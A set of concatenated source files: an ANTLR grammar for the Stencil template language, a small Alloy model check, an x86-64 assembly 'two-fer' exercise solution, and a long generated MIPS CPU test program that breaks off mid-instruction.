<filename>engine/src/main/antlr4/com/impossibl/stencil/engine/parsing/StencilParser.g4 parser grammar StencilParser; options { tokenVocab=StencilLexer; } template: hdr=header contents+=content+ ; content: def=definition | out=output ; header: TEXTWS* hdrSig=headerSignature? (TEXTWS* hdrGlobals+=headerGlobal | TEXTWS* hdrImports+=headerImport)* TEXTWS* ; headerSignature: HEADERS_MODE callSig=callableSignature prepSig=prepareSignature? OUTPUTS_END ; headerGlobal: HEADERS_MODE GLOBAL ids+=ID (COMMA ids+=ID)* OUTPUTS_END ; headerImport: HEADERS_MODE IMPORT importers+=importer (COMMA importers+=importer)* OUTPUTS_END ; importer: qName=qualifiedName (AS id=ID)? #typeImporter | stringLit=stringLiteral (AS id=ID)? #templateImporter ; output: textOut=textOutput | dynOut=dynamicOutput ; textOutput: values+=(TEXTWS|TEXT)+ ; dynamicOutput: OUTPUTS_MODE ( exprOut=expressionOutput | declOut=declarationOutput | incOut=includeOutput | assignOut=assignOutput | ifOut=ifOutput | foreachOut=foreachOutput | whileOut=whileOutput | breakOut=breakOutput | contOut=continueOutput | switchOut=switchOutput | withOut=withOutput ) OUTPUTS_END ; expressionOutput: expr=expression prep=prepareInvocation? ; declarationOutput: VAR vars+=variableDecl (COMMA vars+=variableDecl)* ; includeOutput: INCLUDE stringLit=stringLiteral call=callableInvocation? prep=prepareInvocation? ; assignOutput: ASSIGN assignments+=assignment (COMMA assignments+=assignment)* ; ifOutput: IF expr=expression thenBlock=outputBlock ('else' elseBlock=outputBlock)? ; foreachOutput: FOREACH value=variableDecl (COMMA iterator=variableDecl)? IN expr=expression iterBlock=outputBlock ('else' elseBlock=outputBlock)? ; whileOutput: WHILE expr=expression block=outputBlock ; breakOutput: BREAK ; continueOutput: CONTINUE ; switchOutput: SWITCH expr=expression cases+=switchOutputCase+ ; withOutput: WITH expr+=expression (COMMA expr+=expression)* block=outputBlock ; switchOutputCase: CASE expr=expression block=outputBlock #switchOutputValueCase | DEFAULT block=outputBlock #switchOutputDefaultCase ; definition: OUTPUTS_MODE ( callDef=callableDefinition | exportDef=exportDefinition ) OUTPUTS_END ; exportDefinition: EXPORT vars+=variableDecl (COMMA vars+=variableDecl)* ; callableDefinition: FUNC id=ID callSig=callableSignature blockStmt=blockStatement #functionDefinition | MACRO id=ID callSig=callableSignature? prepSig=prepareSignature? block=outputBlock #macroDefinition ; statement: blockStmt=blockStatement | exprStmt=expressionStatement | assignmentStmt=assignmentStatement | declStmt=declarationStatement | returnStmt=returnStatement | ifStmt=ifStatement | foreachStmt=foreachStatement | whileStmt=whileStatement | breakStmt=breakStatement | continueStmt=continueStatement | switchStmt=switchStatement | withStmt=withStatement ; blockStatement: BLOCK_OPEN stmts+=statement* BLOCK_CLOSE ; expressionStatement: expr=expression SEMI ; assignmentStatement: assignmnt=assignment SEMI ; declarationStatement: VAR vars+=variableDecl (COMMA vars+=variableDecl)* SEMI ; returnStatement: RETURN expr=expression SEMI ; ifStatement: IF expr=expression thenStmt=statement ('else' elseStmt=statement)? ; foreachStatement: FOREACH value=variableDecl (COMMA iterator=variableDecl)? IN expr=expression iterStmt=statement ('else' elseStmt=statement)? ; whileStatement: WHILE expr=expression stmt=statement ; breakStatement: BREAK SEMI ; continueStatement: CONTINUE SEMI ; switchStatement: SWITCH expr=expression BLOCK_OPEN cases+=switchStatementCase+ BLOCK_CLOSE ; switchStatementCase: CASE expr=expression COLON stmt=statement #switchStatementValueCase | DEFAULT COLON stmt=statement #switchStatementDefaultCase ; withStatement: WITH expr+=expression (COMMA expr+=expression)* stmt=statement ; expression: lit=literal #literalExpression | varRef=variableRef #variableRefExpression | PAREN_OPEN expr=expression PAREN_CLOSE #parenExpression | expr=expression sels+=selector+ #selectorExpression | operator=(BIT_NEG|LOG_NEG) expr=expression #unaryExpression | operator=(ADD|SUB|INC|DEC) expr=expression #unaryExpression | leftExpr=expression operator=(MUL|DIV|MOD) rightExpr=expression #binaryExpression | leftExpr=expression operator=(ADD|SUB) rightExpr=expression #binaryExpression | leftExpr=expression operator=(LSHIFT|RSHIFT) rightExpr=expression #binaryExpression | leftExpr=expression operator=(GT|GTEQUAL|LT|LTEQUAL) rightExpr=expression #binaryExpression | expr=expression (ISA|INSTANCEOF) qName=qualifiedName #instanceExpression | leftExpr=expression operator=(EQUAL|NEQUAL|IDENTICAL|NIDENTICAL) rightExpr=expression #binaryExpression | leftExpr=expression operator=BIT_AND rightExpr=expression #binaryExpression | leftExpr=expression operator=BIT_XOR rightExpr=expression #binaryExpression | leftExpr=expression operator=BIT_OR rightExpr=expression #binaryExpression | leftExpr=expression operator=LOG_AND rightExpr=expression #binaryExpression | leftExpr=expression operator=LOG_OR rightExpr=expression #binaryExpression | test=expression QUEST ( trueExpr=expression COLON falseExpr=expression | trueExpr=expression | COLON falseExpr=expression ) #ternaryExpression ; variableRef: id=ID ; lValueRef: id=ID refSel+=refSelector* ; selector: valSel=valueSelector | refSel=refSelector ; valueSelector: DOT id=ID call=callableInvocation #methodCallSelector | call=callableInvocation #callSelector ; refSelector: DOT id=ID SQUARE_OPEN expr=expression SQUARE_CLOSE #memberIndexSelector | DOT id=ID #memberSelector | QUESTDOT id=ID #safeMemberSelector | SQUARE_OPEN expr=expression SQUARE_CLOSE #indexSelector ; literal: nullLiteral | booleanLit=booleanLiteral | stringLit=stringLiteral | numberLit=numberLiteral | listLit=listLiteral | mapLit=mapLiteral | rangeLit=rangeLiteral ; nullLiteral: NULL ; booleanLiteral: value=(TRUE | FALSE) ; numberLiteral: integerLit=integerLiteral | floatingLit=floatingLiteral ; integerLiteral: value=INTEGER ; floatingLiteral: value=FLOAT ; stringLiteral: value=(SSTRING | DSTRING) ; listLiteral: SQUARE_OPEN expr+=expression (COMMA expr+=expression)* SQUARE_CLOSE | SQUARE_OPEN SQUARE_CLOSE ; mapLiteral: SQUARE_OPEN namedValues+=namedValue (COMMA namedValues+=namedValue)* SQUARE_CLOSE | SQUARE_OPEN EQL_ASSIGN SQUARE_CLOSE ; rangeLiteral: SQUARE_OPEN from=expression DOTDOT to=expression SQUARE_CLOSE | SQUARE_OPEN DOTDOT SQUARE_CLOSE ; namedValue: name=simpleName EQL_ASSIGN expr=expression ; simpleName: id=ID|stringLit=stringLiteral ; qualifiedName: ids+=ID (DOT ids+=ID)* ; callableSignature @after { boolean unbounds=false; for(ParameterDeclContext paramDecl : $paramDecls) { if( paramDecl.flag != null && paramDecl.flag.getText().equals("*") ) { if(unbounds) { throw new InvalidSignatureException("macros can only mark a single parameter for unbound", this, _input, _ctx, paramDecl.flag); } unbounds = true; } } } : PAREN_OPEN (paramDecls+=parameterDecl (COMMA paramDecls+=parameterDecl)*)? PAREN_CLOSE ; parameterDecl: (flag=MUL)? id=ID (EQL_ASSIGN expr=expression)? ; prepareSignature @after { boolean unbounds=false, unnamed=false; for(BlockDeclContext paramDecl : $blockDecls) { if( paramDecl.flag != null && paramDecl.flag.getText().equals("*") ) { if(unbounds) { throw new InvalidSignatureException("macros can only mark a single block for unbound", this, _input, _ctx, paramDecl.flag); } unbounds = true; } if( paramDecl.flag != null && paramDecl.flag.getText().equals("+") ) { if(unnamed) { throw new InvalidSignatureException("macros can only mark a single block for unnamed", this, _input, _ctx, paramDecl.flag); } unnamed = true; } } } : SQUARE_OPEN (blockDecls+=blockDecl (COMMA blockDecls+=blockDecl)*)? SQUARE_CLOSE ; blockDecl: (flag=(ADD|MUL))? id=ID ; callableInvocation: PAREN_OPEN (posParams=positionalParameters|namedParams=namedParameters) PAREN_CLOSE ; positionalParameters: (exprs+=expression (COMMA exprs+=expression)*)? ; namedParameters: (namedValues+=namedValue (COMMA namedValues+=namedValue)*)? ; prepareInvocation: unnamedBlock=unnamedOutputBlock | unnamedBlock=unnamedOutputBlock? namedBlocks+=namedOutputBlock+ ; outputBlock: TEXTS_MODE outputs+=output* TEXTS_END ; paramOutputBlockMode: value=(REPLACE | BEFORE | AFTER) ; paramOutputBlock: unnamedBlock=unnamedOutputBlock | namedBlock=namedOutputBlock ; unnamedOutputBlock: blockMode=paramOutputBlockMode? block=outputBlock ; namedOutputBlock: blockMode=paramOutputBlockMode? id=ID block=outputBlock ; assignment: lValRef=lValueRef assignmntOper=assignmentOperator expr=expression ; assignmentOperator: EQL_ASSIGN | ADD_ASSIGN | SUB_ASSIGN | MUL_ASSIGN | DIV_ASSIGN | MOD_ASSIGN | OR_ASSIGN | XOR_ASSIGN | AND_ASSIGN | LSHIFT_ASSIGN | RSHIFT_ASSIGN ; variableDecl: id=ID (EQL_ASSIGN expr=expression)? ;
alloy4fun_models/trashltl/models/3/iRztRKZ6AksjdCqL7.als
Kaixi26/org.alloytools.alloy
0
4048
open main pred idiRztRKZ6AksjdCqL7_prop4 { eventually File in Trash } pred __repair { idiRztRKZ6AksjdCqL7_prop4 } check __repair { idiRztRKZ6AksjdCqL7_prop4 <=> prop4o }
exercises/practice/two-fer/.meta/example.asm
jonboland/x86-64-assembly
21
165912
<gh_stars>10-100 default rel section .rodata one_for: db "One for " one_for_len: equ $ - one_for you: db "you" you_len: equ $ - you one_for_me: db ", one for me.", 0 one_for_me_len: equ $ - one_for_me ; ; Create a sentence of the form "One for X, one for me." ; ; Parameters: ; rdi - name ; rsi - buffer ; section .text global two_fer two_fer: mov rax, rdi ; Save name mov rdi, rsi ; Set destination to buffer lea rsi, [one_for] ; Set source mov rcx, one_for_len ; Set string length rep movsb ; Append string to buffer test rax, rax ; Check if name is provided jne .copy_name ; If so, append name to buffer lea rsi, [you] ; Set source mov rcx, you_len ; Set string length rep movsb ; Append string to buffer jmp .end .copy_name: mov rsi, rax ; Set source to name cmp byte [rsi], 0 ; Check if name is an empty string je .end ; If empty, skip loop .loop_start: movsb ; Append char to buffer cmp byte [rsi], 0 ; See if we reached end of name jne .loop_start ; If chars remain, loop back .end: lea rsi, [one_for_me] ; Set source mov rcx, one_for_me_len ; Set string length rep movsb ; Append string to buffer ret
P6/data_P6/testpoint/testpoint88.asm
alxzzhou/BUAA_CO_2020
1
16145
ori $1, $0, 8 ori $2, $0, 9 ori $3, $0, 4 ori $4, $0, 7 sw $1, 0($0) sw $4, 4($0) sw $4, 8($0) sw $3, 12($0) sw $3, 16($0) sw $1, 20($0) sw $2, 24($0) sw $1, 28($0) sw $1, 32($0) sw $2, 36($0) sw $2, 40($0) sw $1, 44($0) sw $4, 48($0) sw $1, 52($0) sw $1, 56($0) sw $1, 60($0) sw $3, 64($0) sw $3, 68($0) sw $3, 72($0) sw $3, 76($0) sw $3, 80($0) sw $2, 84($0) sw $2, 88($0) sw $2, 92($0) sw $4, 96($0) sw $2, 100($0) sw $3, 104($0) sw $4, 108($0) sw $1, 112($0) sw $2, 116($0) sw $3, 120($0) sw $1, 124($0) mtlo $2 addiu $1, $2, 12 sb $1, 0($1) srl $3, $2, 15 TAG1: mflo $1 sb $3, 0($1) lh $1, 0($3) mtlo $1 TAG2: mtlo $1 lui $3, 1 mult $3, $3 lui $3, 14 TAG3: slt $3, $3, $3 and $1, $3, $3 sw $3, 0($1) mflo $4 TAG4: blez $4, TAG5 multu $4, $4 sb $4, 0($4) addi $2, $4, 11 TAG5: lui $1, 9 bne $2, $1, TAG6 or $4, $2, $2 beq $2, $2, TAG6 TAG6: lui $4, 13 nor $1, $4, $4 beq $1, $4, TAG7 srlv $3, $1, $4 TAG7: sll $0, $0, 0 div $3, $4 andi $3, $4, 15 sll $0, $0, 0 TAG8: sltiu $2, $4, 15 bne $4, $4, TAG9 sltiu $1, $4, 6 mtlo $2 TAG9: sb $1, 0($1) lui $1, 10 srl $3, $1, 6 lui $2, 7 TAG10: addiu $2, $2, 10 ori $1, $2, 3 sll $0, $0, 0 andi $2, $3, 2 TAG11: mflo $1 lui $3, 10 addu $4, $3, $1 sll $0, $0, 0 TAG12: mult $4, $4 sll $0, $0, 0 mflo $3 bne $3, $3, TAG13 TAG13: mthi $3 mflo $4 mult $3, $4 lw $2, 0($3) TAG14: lui $4, 13 mult $4, $4 mult $2, $4 bgez $4, TAG15 TAG15: mflo $3 mult $3, $4 bne $4, $3, TAG16 lui $2, 11 TAG16: sll $0, $0, 0 mfhi $3 srl $2, $3, 6 sw $2, 0($2) TAG17: mult $2, $2 lui $2, 5 mflo $2 sh $2, 0($2) TAG18: beq $2, $2, TAG19 lbu $4, 0($2) bne $4, $2, TAG19 lui $1, 11 TAG19: beq $1, $1, TAG20 lui $2, 4 mflo $4 blez $1, TAG20 TAG20: sltiu $1, $4, 3 multu $4, $4 or $1, $1, $1 sll $2, $4, 11 TAG21: mflo $3 bgtz $2, TAG22 mfhi $2 slt $2, $2, $3 TAG22: mthi $2 mult $2, $2 addu $1, $2, $2 lui $3, 8 TAG23: mflo $2 xor $4, $2, $2 nor $4, $2, $3 bne $4, $2, TAG24 TAG24: and $3, $4, $4 slt $4, $4, $3 mthi $3 mflo $3 TAG25: mthi $3 lui $1, 10 subu $4, $3, $1 subu $2, $3, $1 TAG26: bgtz $2, TAG27 xori $4, $2, 3 lui $2, 0 sll $0, $0, 0 TAG27: sll $0, $0, 0 lui $2, 15 mfhi $4 blez $2, TAG28 TAG28: lui $3, 13 sra $3, $3, 12 srl $4, $3, 6 bgtz $3, TAG29 TAG29: lbu $3, 0($4) lui $3, 2 lui $3, 8 xori $3, $4, 8 TAG30: subu $3, $3, $3 sltu $2, $3, $3 bne $2, $3, TAG31 and $2, $3, $2 TAG31: bne $2, $2, TAG32 addiu $1, $2, 7 mtlo $2 mtlo $2 TAG32: lui $4, 10 lui $1, 15 divu $1, $4 mult $4, $1 TAG33: blez $1, TAG34 divu $1, $1 bne $1, $1, TAG34 lui $1, 15 TAG34: xor $3, $1, $1 sra $2, $3, 10 lui $1, 4 lui $3, 13 TAG35: lui $3, 6 sll $0, $0, 0 bne $3, $3, TAG36 div $1, $3 TAG36: mult $1, $1 bgez $1, TAG37 lui $2, 7 lui $1, 4 TAG37: mtlo $1 lui $4, 2 divu $1, $1 divu $4, $4 TAG38: multu $4, $4 lui $3, 9 mult $3, $3 mtlo $4 TAG39: div $3, $3 mflo $1 ori $3, $3, 5 mflo $4 TAG40: mtlo $4 beq $4, $4, TAG41 sb $4, 0($4) mfhi $2 TAG41: sll $0, $0, 0 nor $2, $2, $2 lui $1, 6 andi $1, $1, 8 TAG42: mflo $4 lw $3, 0($1) mthi $1 bltz $1, TAG43 TAG43: sltu $1, $3, $3 bne $1, $1, TAG44 sh $3, 0($1) lhu $4, -256($3) TAG44: sltiu $3, $4, 1 bltz $3, TAG45 mfhi $1 beq $3, $3, TAG45 TAG45: slti $1, $1, 0 mfhi $3 lh $2, 0($1) mflo $2 TAG46: bltz $2, TAG47 lb $4, 0($2) beq $4, $4, TAG47 ori $4, $2, 4 TAG47: bltz $4, TAG48 mtlo $4 lui $4, 14 xori $3, $4, 12 TAG48: mult $3, $3 bltz $3, TAG49 mtlo $3 sllv $3, $3, $3 TAG49: xor $3, $3, $3 add $4, $3, $3 or $4, $3, $3 lb $2, 0($3) TAG50: lui $3, 9 mfhi $3 mflo $2 div $3, $2 TAG51: div $2, $2 bgtz $2, TAG52 mthi $2 sh $2, 0($2) TAG52: srl $2, $2, 1 bne $2, $2, TAG53 lui $3, 8 sll $0, $0, 0 TAG53: sll $3, $2, 4 andi $2, $2, 9 beq $2, $3, TAG54 mfhi $4 TAG54: srl $2, $4, 5 lw $1, -28672($2) xor $3, $1, $1 lui $2, 7 TAG55: sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 mthi $2 TAG56: bne $3, $3, TAG57 lui $1, 4 mflo $1 mthi $3 TAG57: multu $1, $1 mthi $1 lui $4, 2 sll $0, $0, 0 TAG58: addiu $3, $4, 14 sll $0, $0, 0 sll $0, $0, 0 bltz $4, TAG59 TAG59: xori $3, $4, 2 mfhi $2 mtlo $4 bgez $2, TAG60 TAG60: div $2, $2 mthi $2 xor $2, $2, $2 subu $4, $2, $2 TAG61: blez $4, TAG62 andi $4, $4, 13 bgtz $4, TAG62 lui $4, 1 TAG62: lw $3, 0($4) sw $3, -256($3) sb $4, 0($4) sw $4, -256($3) TAG63: beq $3, $3, TAG64 multu $3, $3 blez $3, TAG64 srlv $2, $3, $3 TAG64: lw $4, 0($2) lb $3, 0($2) beq $2, $4, TAG65 mult $3, $2 TAG65: bltz $3, TAG66 lw $2, 0($3) mult $3, $3 lhu $4, 0($2) TAG66: bne $4, $4, TAG67 srlv $2, $4, $4 lui $2, 11 div $2, $2 TAG67: div $2, $2 mult $2, $2 lui $3, 9 bne $2, $2, TAG68 TAG68: sll $0, $0, 0 sra $2, $3, 9 sw $3, 0($4) div $3, $2 TAG69: mtlo $2 lui $1, 15 beq $2, $1, TAG70 lui $3, 0 TAG70: bne $3, $3, TAG71 mflo $3 multu $3, $3 sra $1, $3, 12 TAG71: sw $1, 0($1) lh $3, 0($1) sb $3, 0($1) beq $3, $1, TAG72 TAG72: sra $1, $3, 13 sh $1, 0($1) lb $2, 0($3) add $1, $2, $2 TAG73: bltz $1, TAG74 lh $3, 0($1) bgtz $1, TAG74 lh $3, 0($3) TAG74: blez $3, TAG75 xor $2, $3, $3 lui $1, 13 bgez $1, TAG75 TAG75: lui $3, 5 andi $2, $3, 5 sub $2, $1, $1 addiu $4, $1, 5 TAG76: lb $1, 0($4) sll $2, $1, 11 mtlo $1 mthi $2 TAG77: lw $2, 0($2) sb $2, 0($2) sltiu $1, $2, 0 multu $2, $2 TAG78: mtlo $1 mfhi $4 mtlo $1 srl $4, $4, 9 TAG79: sb $4, 0($4) multu $4, $4 lb $1, 0($4) lw $1, 0($1) TAG80: slt $3, $1, $1 bgez $3, TAG81 lb $1, 0($3) sw $1, 0($3) TAG81: lw $3, 0($1) addu $1, $3, $3 lui $3, 10 multu $3, $1 TAG82: multu $3, $3 lui $1, 15 sltiu $4, $3, 12 ori $2, $3, 11 TAG83: bltz $2, TAG84 divu $2, $2 sll $3, $2, 12 mflo $4 TAG84: lui $4, 6 divu $4, $4 divu $4, $4 bne $4, $4, TAG85 TAG85: mthi $4 sll $0, $0, 0 lui $2, 4 beq $4, $4, TAG86 TAG86: sllv $1, $2, $2 mflo $1 lui $3, 12 bltz $1, TAG87 TAG87: sll $0, $0, 0 sltu $4, $3, $3 sra $2, $4, 3 mfhi $3 TAG88: bgtz $3, TAG89 sll $0, $0, 0 bne $3, $3, TAG89 divu $3, $3 TAG89: mtlo $3 mfhi $1 addiu $4, $1, 12 sll $0, $0, 0 TAG90: blez $4, TAG91 sllv $1, $4, $4 mult $1, $1 mflo $4 TAG91: sll $0, $0, 0 mthi $4 and $2, $4, $4 addiu $1, $4, 13 TAG92: mtlo $1 sll $0, $0, 0 mult $1, $1 mthi $1 TAG93: addiu $4, $1, 1 sll $0, $0, 0 mtlo $1 bltz $4, TAG94 TAG94: sll $0, $0, 0 bgtz $4, TAG95 mult $4, $4 sll $0, $0, 0 TAG95: mtlo $2 subu $3, $2, $2 subu $3, $2, $2 multu $3, $3 TAG96: sh $3, 0($3) and $4, $3, $3 mfhi $4 mthi $4 TAG97: sltiu $3, $4, 6 lui $1, 8 bgez $4, TAG98 mflo $3 TAG98: nor $1, $3, $3 lb $1, 1($1) sra $4, $1, 12 lui $1, 11 TAG99: sll $0, $0, 0 bne $1, $1, TAG100 lui $1, 13 lui $2, 3 TAG100: sra $3, $2, 9 bgez $2, TAG101 mfhi $2 slt $3, $2, $3 TAG101: sltu $3, $3, $3 lui $3, 12 mtlo $3 mfhi $3 TAG102: lui $3, 12 sll $0, $0, 0 sra $3, $3, 15 div $3, $3 TAG103: bgtz $3, TAG104 mult $3, $3 lui $1, 4 slti $4, $3, 2 TAG104: multu $4, $4 sw $4, 0($4) lh $4, 0($4) beq $4, $4, TAG105 TAG105: lb $1, 0($4) beq $4, $1, TAG106 mthi $1 or $4, $4, $4 TAG106: bgtz $4, TAG107 sh $4, 0($4) mtlo $4 sra $3, $4, 2 TAG107: mult $3, $3 beq $3, $3, TAG108 slt $1, $3, $3 slti $3, $3, 0 TAG108: bgtz $3, TAG109 mult $3, $3 lb $3, 0($3) lh $1, 0($3) TAG109: sh $1, 0($1) mthi $1 sra $3, $1, 7 mult $1, $3 TAG110: mult $3, $3 lui $4, 9 mthi $4 bgtz $4, TAG111 TAG111: div $4, $4 and $4, $4, $4 beq $4, $4, TAG112 sll $0, $0, 0 TAG112: mflo $3 srlv $1, $3, $3 addiu $3, $3, 15 sltiu $3, $1, 9 TAG113: xori $3, $3, 4 lui $1, 12 nor $3, $3, $3 sh $3, 6($3) TAG114: lui $4, 0 srlv $3, $4, $3 mfhi $4 sb $4, 0($3) TAG115: mflo $3 lbu $4, 0($4) mthi $4 andi $4, $3, 1 TAG116: lui $1, 10 sb $4, 0($4) or $3, $1, $4 bne $4, $3, TAG117 TAG117: slt $4, $3, $3 mflo $2 xori $2, $3, 7 lui $3, 2 TAG118: or $3, $3, $3 nor $3, $3, $3 mfhi $1 beq $3, $3, TAG119 TAG119: multu $1, $1 sb $1, 0($1) sltu $3, $1, $1 beq $1, $3, TAG120 TAG120: mthi $3 mfhi $1 bne $1, $1, TAG121 lui $2, 1 TAG121: sll $0, $0, 0 lui $3, 13 bgtz $3, TAG122 sltiu $2, $3, 1 TAG122: mtlo $2 mtlo $2 sh $2, 0($2) sra $2, $2, 4 TAG123: multu $2, $2 mfhi $2 nor $4, $2, $2 xori $1, $4, 8 TAG124: bgtz $1, TAG125 srlv $2, $1, $1 sw $2, 9($1) mthi $2 TAG125: bgez $2, TAG126 subu $4, $2, $2 blez $2, TAG126 mthi $2 TAG126: lhu $4, 0($4) subu $4, $4, $4 lui $4, 15 bltz $4, TAG127 TAG127: sll $0, $0, 0 mthi $4 mthi $4 sll $0, $0, 0 TAG128: bne $4, $4, TAG129 lui $2, 13 lui $3, 4 sll $0, $0, 0 TAG129: mfhi $2 sll $0, $0, 0 sll $0, $0, 0 sllv $3, $1, $1 TAG130: divu $3, $3 bne $3, $3, TAG131 mthi $3 mfhi $1 TAG131: andi $3, $1, 9 blez $1, TAG132 mult $1, $3 beq $1, $1, TAG132 TAG132: addi $1, $3, 2 divu $3, $1 bne $3, $1, TAG133 multu $1, $3 TAG133: bne $1, $1, TAG134 sra $4, $1, 8 andi $1, $4, 5 lh $3, 0($1) TAG134: blez $3, TAG135 lw $1, -511($3) lui $1, 3 bne $1, $1, TAG135 TAG135: sll $0, $0, 0 and $3, $1, $3 bgez $3, TAG136 ori $3, $1, 4 TAG136: beq $3, $3, TAG137 srlv $3, $3, $3 mthi $3 srlv $4, $3, $3 TAG137: mfhi $4 blez $4, TAG138 sb $4, 0($4) andi $3, $4, 4 TAG138: sb $3, -12288($3) addiu $2, $3, 9 beq $2, $3, TAG139 addu $3, $3, $3 TAG139: divu $3, $3 mthi $3 lhu $4, -24576($3) lb $4, -256($4) TAG140: mtlo $4 lb $3, 0($4) multu $3, $3 lbu $1, 0($3) TAG141: sll $3, $1, 8 srlv $2, $1, $1 multu $2, $2 lui $2, 7 TAG142: mthi $2 andi $1, $2, 8 ori $3, $1, 11 mtlo $3 TAG143: sb $3, 0($3) lui $2, 5 mtlo $2 bgez $2, TAG144 TAG144: lui $4, 1 or $1, $2, $2 div $1, $4 mtlo $2 TAG145: srlv $3, $1, $1 mfhi $2 bgez $3, TAG146 sh $1, 0($2) TAG146: mult $2, $2 bne $2, $2, TAG147 mfhi $4 beq $4, $2, TAG147 TAG147: mflo $2 lbu $2, 0($4) mtlo $2 mfhi $4 TAG148: sw $4, 0($4) mfhi $2 beq $2, $2, TAG149 sll $1, $4, 7 TAG149: bltz $1, TAG150 sltiu $3, $1, 1 lb $4, 0($3) srav $4, $3, $4 TAG150: mult $4, $4 sra $1, $4, 9 mfhi $1 addu $4, $4, $4 TAG151: multu $4, $4 slti $4, $4, 5 sb $4, 0($4) sltiu $2, $4, 10 TAG152: sb $2, 0($2) andi $4, $2, 5 lbu $4, 0($2) lui $2, 9 TAG153: lui $4, 12 sll $0, $0, 0 mthi $4 xori $3, $4, 7 TAG154: beq $3, $3, TAG155 div $3, $3 mult $3, $3 addu $3, $3, $3 TAG155: srlv $3, $3, $3 sll $1, $3, 10 mthi $3 mfhi $4 TAG156: sll $0, $0, 0 sllv $1, $3, $3 bne $1, $3, TAG157 divu $4, $3 TAG157: lui $4, 0 sw $4, 0($4) nor $1, $4, $4 mtlo $1 TAG158: sw $1, 1($1) bne $1, $1, TAG159 addiu $4, $1, 9 bne $1, $1, TAG159 TAG159: andi $1, $4, 0 sh $4, 0($1) sra $1, $1, 7 mfhi $2 TAG160: bne $2, $2, TAG161 mtlo $2 bne $2, $2, TAG161 mult $2, $2 TAG161: addi $2, $2, 10 sh $2, 0($2) lui $4, 3 mtlo $2 TAG162: mthi $4 ori $4, $4, 5 mfhi $3 mflo $4 TAG163: lhu $1, 0($4) div $1, $4 sltu $4, $4, $4 lh $3, 0($4) TAG164: srlv $4, $3, $3 lb $2, 0($3) bne $4, $2, TAG165 lui $2, 11 TAG165: addu $3, $2, $2 sll $0, $0, 0 mtlo $3 bne $2, $3, TAG166 TAG166: sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 ori $2, $3, 7 TAG167: mfhi $1 mfhi $3 lui $4, 13 blez $2, TAG168 TAG168: lui $1, 14 div $1, $1 bne $4, $4, TAG169 sra $3, $1, 11 TAG169: beq $3, $3, TAG170 mflo $1 lui $1, 13 mfhi $4 TAG170: lui $1, 7 slti $4, $1, 7 bne $4, $4, TAG171 addiu $1, $4, 9 TAG171: lbu $1, 0($1) xori $2, $1, 4 mult $1, $2 lui $2, 0 TAG172: mult $2, $2 bgtz $2, TAG173 sb $2, 0($2) beq $2, $2, TAG173 TAG173: lui $3, 13 mflo $1 sll $0, $0, 0 mfhi $2 TAG174: lh $2, 0($2) bne $2, $2, TAG175 mthi $2 lh $4, 0($2) TAG175: bne $4, $4, TAG176 mfhi $2 lui $2, 7 addi $3, $4, 6 TAG176: beq $3, $3, TAG177 xor $3, $3, $3 lbu $1, 0($3) beq $3, $3, TAG177 TAG177: multu $1, $1 sltu $2, $1, $1 mflo $3 mthi $1 TAG178: mtlo $3 xor $2, $3, $3 addiu $1, $2, 8 lbu $3, 0($2) TAG179: sll $4, $3, 0 lbu $2, 0($4) lui $2, 4 mult $2, $4 TAG180: mthi $2 mtlo $2 mthi $2 lui $1, 4 TAG181: subu $1, $1, $1 bne $1, $1, TAG182 mult $1, $1 bne $1, $1, TAG182 TAG182: sra $4, $1, 11 mthi $4 lw $2, 0($4) lw $3, 0($4) TAG183: andi $2, $3, 9 blez $3, TAG184 lui $3, 3 sw $3, 0($3) TAG184: addu $3, $3, $3 mtlo $3 slti $4, $3, 11 mtlo $3 TAG185: mtlo $4 lui $1, 12 lb $3, 0($4) lhu $4, 0($3) TAG186: bgez $4, TAG187 mult $4, $4 sb $4, 0($4) lbu $2, 0($4) TAG187: mfhi $2 or $4, $2, $2 nor $2, $2, $2 multu $4, $2 TAG188: divu $2, $2 and $3, $2, $2 subu $4, $2, $3 addu $3, $3, $2 TAG189: bgez $3, TAG190 mfhi $2 lh $3, 0($2) srlv $1, $3, $3 TAG190: sw $1, 0($1) beq $1, $1, TAG191 lui $4, 0 lui $2, 14 TAG191: lui $3, 13 sh $2, 0($2) beq $3, $3, TAG192 sw $2, 0($2) TAG192: bne $3, $3, TAG193 sll $0, $0, 0 sll $0, $0, 0 mthi $3 TAG193: div $3, $3 mthi $3 addiu $2, $3, 0 bne $2, $3, TAG194 TAG194: lui $2, 7 mtlo $2 lui $2, 5 mflo $3 TAG195: sll $0, $0, 0 beq $3, $3, TAG196 sll $0, $0, 0 slt $4, $3, $3 TAG196: mult $4, $4 beq $4, $4, TAG197 mthi $4 mfhi $4 TAG197: mflo $4 slt $4, $4, $4 lb $1, 0($4) lhu $1, 0($4) TAG198: lbu $1, 0($1) mflo $4 lbu $1, 0($4) mult $1, $1 TAG199: srl $2, $1, 6 blez $1, TAG200 mult $1, $2 add $2, $1, $1 TAG200: mult $2, $2 bne $2, $2, TAG201 sh $2, 0($2) add $1, $2, $2 TAG201: lw $3, 0($1) beq $1, $3, TAG202 multu $1, $3 bgtz $1, TAG202 TAG202: addi $2, $3, 10 mthi $3 lhu $2, 0($2) beq $2, $3, TAG203 TAG203: slti $3, $2, 0 mthi $2 mfhi $4 addu $2, $3, $2 TAG204: multu $2, $2 sll $1, $2, 14 sb $1, 0($2) sll $0, $0, 0 TAG205: mult $3, $3 srlv $1, $3, $3 add $1, $1, $3 sh $1, 0($3) TAG206: mthi $1 sll $1, $1, 9 bgtz $1, TAG207 lw $4, 0($1) TAG207: mflo $2 lui $4, 12 bgez $4, TAG208 lui $1, 3 TAG208: multu $1, $1 divu $1, $1 sll $0, $0, 0 mthi $4 TAG209: lui $4, 6 beq $4, $4, TAG210 divu $4, $4 divu $4, $4 TAG210: bne $4, $4, TAG211 sll $0, $0, 0 beq $4, $4, TAG211 lui $2, 2 TAG211: bne $2, $2, TAG212 andi $2, $2, 12 mthi $2 srl $1, $2, 5 TAG212: lui $4, 1 sll $0, $0, 0 bne $2, $2, TAG213 sll $0, $0, 0 TAG213: lbu $2, 0($2) lui $4, 5 lui $3, 9 lui $4, 7 TAG214: blez $4, TAG215 div $4, $4 ori $3, $4, 0 addiu $1, $4, 12 TAG215: sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 TAG216: sll $0, $0, 0 sll $0, $0, 0 lui $3, 2 bltz $3, TAG217 TAG217: sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 TAG218: mflo $3 srl $1, $3, 15 lb $1, 0($1) mfhi $3 TAG219: ori $1, $3, 0 bne $1, $3, TAG220 addu $4, $3, $3 lh 